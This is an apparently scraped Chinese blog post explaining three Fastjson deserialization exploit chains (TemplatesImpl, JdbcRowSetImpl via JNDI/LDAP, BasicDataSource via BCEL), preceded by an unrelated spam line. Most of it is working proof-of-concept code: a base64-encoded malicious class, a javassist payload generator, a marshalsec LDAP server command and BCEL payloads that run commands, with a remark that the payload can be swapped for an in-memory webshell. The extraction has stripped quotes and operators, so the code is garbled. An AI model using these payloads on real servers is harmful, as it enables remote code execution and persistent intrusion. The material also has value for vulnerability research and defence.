wap网站不流行,那个网站能找到人,建站的公司,域名注册商推荐Fastjson反序列化一共有三条利用链
TempLatesImpl#xff1a;实战中不适用JdbcRowSetImpl#xff1a;实际运用中较为广泛BasicDataSource#xff08;BCEL#xff09;
反序列化核心
反序列化是通过字符串或字节流#xff0c;利用Java的反射机制重构一个对象。主要有两种…Fastjson反序列化一共有三条利用链
TempLatesImpl实战中不适用JdbcRowSetImpl实际运用中较为广泛BasicDataSourceBCEL
反序列化核心
反序列化是通过字符串或字节流利用Java的反射机制重构一个对象。主要有两种机制
Java Bean反序列化机制通过反射机制实例化一个类然后直接设置字段的值。 典型实现JDK原生、Hessian等。
Property反序列化机制通过反射机制实例化一个类通过调用setter方法设置字段的值。 典型实现Fastjson、Jackson等。
Fastjson中的Property-based反序列化漏洞
在AutoType过程中Fastjson会调用setter/getter方法 parse()通过构造器方法实例化类并调用setter方法。parseObject()是parse方法的封装除调用setter外还会调用getter方法因为会调用toJSON。
TempLatesImpl小结
TempLatesImpl的版本限制
Fastjson 1.22-1.24
TemplatesImpl的利用条件
反序列化时需要开启Feature.SupportNonPublicField
Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性在Fastjson中序列化private属性
来查看一下TemplatesImpl 这里可以看到这几个成员变量都是private进行修饰的。不使用Feature.SupportNonPublicField参数则无法反序列化成功无法进行利用。
使用TempLatesImpl利用链构造恶意类的五个参数
type存放反序列化时的目标类型_name调用getTransletInstance 时会判断其是否为null为null直接return不会往下进行执行利用链就断了可参考cc2和cc4链_tfactorydefineTransletClasses 中会调用其getExternalExtensionsMap 方法为null会出现异常,但在前面分析jdk7u21链的时候部分jdk并未发现该方法_outputProperties漏洞利用时的关键参数由于Fastjson反序列化过程中会调用其getOutputProperties 方法导致bytecodes字节码成功实例化造成命令执行_bytecodes继承AbstractTranslet 类的恶意类字节码并且使用Base64编码
构造的恶意类
package nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;public class fj_poc {public static void main(String[] args) {ParserConfig config new ParserConfig();String text {\type\:\com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\,\_bytecodes\:[\yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ\],_name:a.b,_tfactory:{ },\_outputProperties\:{ }};Object obj JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);}
}
两个POC也就是_bytecodes经过base64解码后的数据
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;public class Test extends AbstractTranslet {public Test() throws IOException {Runtime.getRuntime().exec(calc);}Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}Overridepublic void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {}public static void main(String[] args) throws Exception {Test t new Test();}
}
但在使用运用中个人更倾向于这个POC Two
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;public class gadget {public static class test{}public static void main(String[] args) throws Exception {ClassPool pool ClassPool.getDefault();CtClass cc pool.get(test.class.getName());String cmd java.lang.Runtime.getRuntime().exec(\calc\);;cc.makeClassInitializer().insertBefore(cmd);String randomClassName nice0e3System.nanoTime();cc.setName(randomClassName);cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));try {byte[] evilCode cc.toBytecode();String evilCode_base64 Base64.encodeBase64String(evilCode);final String NASTY_CLASS com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;String text1 {\type\:\ NASTY_CLASS \,\_bytecodes\:[\evilCode_base64\],_name:a.b,_tfactory:{ },_outputProperties:{ }}\n;System.out.println(text1);ParserConfig config new ParserConfig();Object obj JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);} catch (Exception e) {e.printStackTrace();}}}
JdbcRowSetImpl小结
JdbcRowSetImpl的版本限制
使用RMI利用的JDK版本≤ JDK 6u132、7u122、8u113使用LADP利用的JDK版本≤ 6u211 、7u201、8u191 JdbcRowSetImpl的利用条件
服务器出网lookupURL参数可控
使用JdbcRowSetImpl利用链构造恶意类的三个参数
type目标反序列化类名dataSourceNameRMI注册中心绑定恶意服务autoCommit在jdbcRowSetImpl链反序列化中会调用setAutoCommit方法
攻击流程
首先是这个lookup(URI)参数可控攻击者控制URI参数为指定为恶意的一个RMI服务RMI服务器向目标返回一个Reference对象Reference对象中指定某个精心构造的Factory类目标在进行lookup()操作时会动态加载并实例化Factory类接着调用factory.getObjectInstance()获取外部远程对象实例攻击者可以在Factory类文件的静态代码块处写入恶意代码达到RCE的效果
首先启动一个LDAP服务端java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389
Exploit代码需将代码编译成class文件然后挂在到web中
import java.io.IOException;public class Exploit {public Exploit() {}static {try {Runtime.getRuntime().exec(calc.exe);} catch (IOException e) {e.printStackTrace();}}
}
POC代码
package com.nice0e3;
import com.alibaba.fastjson.JSON;
//jdbcRowSetImpl类里面由于实现了parseObject、set、get、datasourcename、autocommit、get、set
public class POC {public static void main(String[] args) {//String PoC {\type\:\com.sun.rowset.JdbcRowSetImpl\, \dataSourceName\:\rmi://127.0.0.1:1099/refObj\, \autoCommit\:true};String PoC {\type\:\com.sun.rowset.JdbcRowSetImpl\, \dataSourceName\:\ldap://127.0.0.1:1389/Exploit\, \autoCommit\:true};JSON.parse(PoC);}
}
BasicDataSource小结
BCEL的全名是Apache Commons BCELApache Commons项目下的一个子项目包含在JDK的原生库中
我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用
Repository 用于将一个Java Class先转换成原生字节码当然这里也可以直接使用javac命令来编译java文件生成字节码Utility 用于将原生的字节码转换成BCEL格式的字节码
生成的BCEL格式大概如下
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......
将这种格式的字符串作为“字节码”传入new ClassLoader().loadClass(code).newInstance();将会被实例化当我们在Fastjson反序列化中构造出这种链将会造成反序列化漏洞
添加tomcat依赖
dependencygroupIdorg.apache.tomcat/groupIdartifactIdtomcat-dbcp/artifactIdversion9.0.8/version
/dependency
来看到poc
{{x:{type: org.apache.tomcat.dbcp.dbcp2.BasicDataSource,driverClassLoader: {type: com.sun.org.apache.bcel.internal.util.ClassLoader},driverClassName: $$BCEL$$$l$8b$I$A$...}}: x
}
使用该poc加载bcel字节码。
编写一个test类
package com;
import java.io.IOException;public class test {static {try {Runtime.getRuntime().exec(calc);} catch (IOException e) {e.printStackTrace();}}
}
package com;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
class fj_test {public static void main(String[] argv) throws Exception{JavaClass cls Repository.lookupClass(test.class);String code Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码String poc {\n {\n \aaa\: {\n \type\: \org.apache.tomcat.dbcp.dbcp2.BasicDataSource\,\n \driverClassLoader\: {\n \type\: \com.sun.org.apache.bcel.internal.util.ClassLoader\\n },\n \driverClassName\: \$$BCEL$$ code \\n }\n }: \bbb\\n };System.out.println(poc);JSON.parse(poc);}
}
要打内存马替换为内存马class即可
在tomcat8以后和tomcat7的版本存在一点小差异
tomcat7使用的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource在8版本以后名为org.apache.tomcat.dbcp.dbcp2.BasicDataSource